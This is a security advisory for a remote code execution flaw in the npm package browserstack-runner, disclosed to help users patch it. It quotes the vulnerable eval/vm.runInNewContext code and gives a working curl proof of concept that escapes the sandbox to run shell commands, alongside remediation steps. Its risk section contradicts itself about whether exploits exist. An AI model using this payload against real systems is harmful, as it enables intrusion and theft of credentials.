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GHSA-6vr3-7wcx-v5g5

HighCVSS 8.8 / 10
Published Jun 3, 2026·Last modified Jun 3, 2026
Affected Components(1)
npm logobrowserstack-runner
< 0.9.6
Description

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Remediation

  1. Remove eval() and vm.runInNewContext() from the _log handler — use JSON.stringify() for safe logging
  2. Add UUID authentication to _log (matching _progress and _report handlers)
  3. Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Credit

Christ Bowel Bouchuen

Risk Scores
Base Score
8.8

The vulnerability can be exploited over a local network, such as Wi-Fi. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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